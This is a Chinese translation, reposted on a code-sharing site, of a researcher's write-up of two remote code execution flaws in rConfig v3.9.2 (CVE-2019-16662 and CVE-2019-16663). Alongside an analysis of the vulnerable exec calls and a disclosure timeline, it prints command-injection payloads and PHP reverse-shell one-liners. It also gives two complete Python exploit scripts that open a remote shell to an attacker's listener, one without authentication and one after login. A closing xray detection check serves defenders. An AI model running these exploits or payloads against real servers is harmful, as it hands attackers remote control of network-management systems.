rConfig v3.9.2 授權認證與未授權RCE (CVE-2019-16663) 、(CVE-2019-16662)


rConfig v3.9.2 authenticated and unauthenticated RCE (CVE-2019-16663) and (CVE-2019-16662)

原文:https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/

關於rConfig

rConfig是一個開放源碼的網絡設備配置管理實用工具,用於網絡工程師對網絡設備的配置。

圖1

關於漏洞的利用

我在兩個文件中分別發現了兩個遠程代碼執行漏洞。第一個是ajaxServerSettingsChk.php,攻擊者可以通過rootUname參數發送精心構造的一個GET請求,觸發未授權RCE漏洞。rootUname參數在源文件第2行中定義,隨后會在第13行傳遞給exec函數,攻擊者可以構造參數接收內容實現讓操作系統執行惡意命令。這個漏洞很容易利用和發現,后面的篇幅中我將介紹如何發現並利用這個漏洞。

第二個漏洞是在search.crud.php發現的,這文件需要通過身份驗證才能觸發遠程代碼執行漏洞。這個漏洞可以通過構造一個包含有兩個參數的GET請求觸發,
其中searchTerm參數可以包含任意值,但該參數必須存在,才能執行到第63行的exec函數。

跟我平常找RCE漏洞的方法一樣,因此我使用自己開發的一個Python腳本(https://github.com/mhaskar/RCEScanner)來列出有哪些不安全的函數。這個腳本在先前的案例研究中曾經使用過。

未授權RCE分析

運行這個腳本過后輸出了一些結果,我開始分析這些輸出結果並且注意到路徑為install/lib/ajaxHandlers/ajaxServerSettingsChk.php文件,部分代碼如下:

圖2

從代碼可以看出,第2行腳本代碼的意思是將GET請求中的rootUname參數值賦值到$rootUname變量中。

在第12行,代碼將$rootUname與一些字符串拼接在一起,保存到rootTestCmd1變量,然后傳遞給第13行的exec函數。后續代碼執行了相同的操作。

因此,我們只需注入特定構造命令,在第13行跳出轉義字符串來執行命令,為此,我們可以使用如下的Payload:

;your command #

為了方便測試,我修改了13行的exec函數,把exec執行后的命令返回結果顯示到頁面上,然后編碼發送Payload,得到了如下結果:

圖3

我們發送編碼后的Payload,rootUname參數里經過URL編碼的【; id #】命令被成功執行了兩次。

為了得到shell,使用下面的Payload:

;php -r '$sock=fsockopen(ip,port);exec("/bin/sh -i <&3 >&3 2>&3");' #

默認的CentOS 7.7 mini版本沒有安裝nc,所以使用這條Payload更方便測試。

在使用Burp編碼並發送有效Payload之后,我們將獲得以下內容:

圖4

我們反彈回一個shell!

為了自動化完成該過程,我簡單編寫了一個python代碼來利用這個漏洞:

腳本地址:https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e

#!/usr/bin/python
 
# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16662
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
 
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
if len(sys.argv) != 4:
    print "[+] Usage : ./exploit.py target ip port"
    exit()
 
target = sys.argv[1]
 
ip = sys.argv[2]
 
port = sys.argv[3]
 
payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))
 
install_path = target + "/install"
 
req = requests.get(install_path, verify=False)
if req.status_code == 404:
    print "[-] Installation directory not found!"
    print "[-] Exploitation failed !"
    exit()
elif req.status_code == 200:
    print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
 
print "[+] Triggering the payload"
print "[+] Check your listener !"
 
requests.get(url_to_send, verify=False)

如下是執行腳本的結果:

圖5

再次反彈得到shell!

授權驗證的RCE分析

RCE掃描器的另一個結果路徑在:lib/crud/的search.crud.php文件中, 這個漏洞需要登錄驗證后才能利用。片段代碼如下:

圖6

首先,我們需要繞過第25行的if語句。發送名為searchTerm參數的GET請求,這樣就能進入代碼判斷邏輯內部,然后我們還需要連合一個名為catCommand參數,這個參數里面包含我們的Payload,在第61行與一些字符串拼接起來后。進入代碼判斷邏輯內部函數后存儲到$command變量中,在第63行傳遞給exec函數執行。

這里將使用sleep這個Payload來測試漏洞,這個Payload將嘗試睡眠5秒鍾,執行后觀察響應時間並與正常響應時間進行比較就能判斷執行成功與否。觀察第61行的代碼,可以有多種不同的Payload。

此處我的Payload:

""&&$(`sleep 5`)#

通過Burp發送這個Payload,我們能得到如下的響應信息:

圖7

響應時間延遲了5000+毫秒,也就意味着命令執行成功了!

當然這里不限於僅僅是用sleep命令做測試,除此之外我們也可以嘗試多種Payload。

為了得到一個shell,我使用了php的fsockopen並構造成可以跟串聯字符串一起使用的Payload,如下所示:

""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#

為了自動化利用該漏洞,我開發了一段簡單的python代碼:
代碼地址:https://gist.github.com/mhaskar/e7e454c7cb0dd9a139b0a43691e258a0

#!/usr/bin/python
 
# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16663
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
 
 
import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
 
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
if len(sys.argv) != 6:
    print "[+] Usage : ./exploit.py target username password ip port"
    exit()
 
target = sys.argv[1]
 
username = sys.argv[2]
 
password = sys.argv[3]
 
ip = sys.argv[4]
 
port = sys.argv[5]
 
request = requests.session()
 
login_info = {
    "user": username,
    "pass": password,
    "sublogin": 1
}
 
login_request = request.post(
    target+"/lib/crud/userprocess.php",
     login_info,
     verify=False,
     allow_redirects=True
 )
 
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
 
 
if dashboard_request.status_code == 200:
    print "[+] LoggedIn successfully"
    payload = '''""&amp;&amp;php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'#'''.format(ip, port)
    encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&amp;catCommand={0}".format(quote(payload))
    print "[+] triggering the payload"
    print "[+] Check your listener !"
    exploit_req = request.get(encoded_request)
 
elif dashboard_request.status_code == 302:
    print "[-] Wrong credentials !"
    exit()

運行漏洞利用代碼后,我們能看到如下結果:

圖8

成功反彈一個shell!

漏洞披露

我在2019年9月19日向rConfig main developer報告了這兩個漏洞,但是沒有得到任何修復發布日期,甚至沒有得到他們將修復該漏洞的聲明。

所以在沒有回應的35天后,我公布了這個漏洞。

漏洞檢測

譯者注:順着Github找到了系統源碼,找到了修復后的漏洞文件
https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071

xray poc

name: poc-yaml-rconfig-cve-2019-16663
set:
  r: randomInt(800000000, 1000000000)
  r1: randomInt(800000000, 1000000000)
rules:
  - method: GET
    path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23
    expression: |
      response.status == 200 && response.body.bcontains(bytes(string(r+r1)))
detail:
  author: 17bdw
  links:
    - https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071
    - https://www.cnblogs.com/17bdw/p/11840588.html
    - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM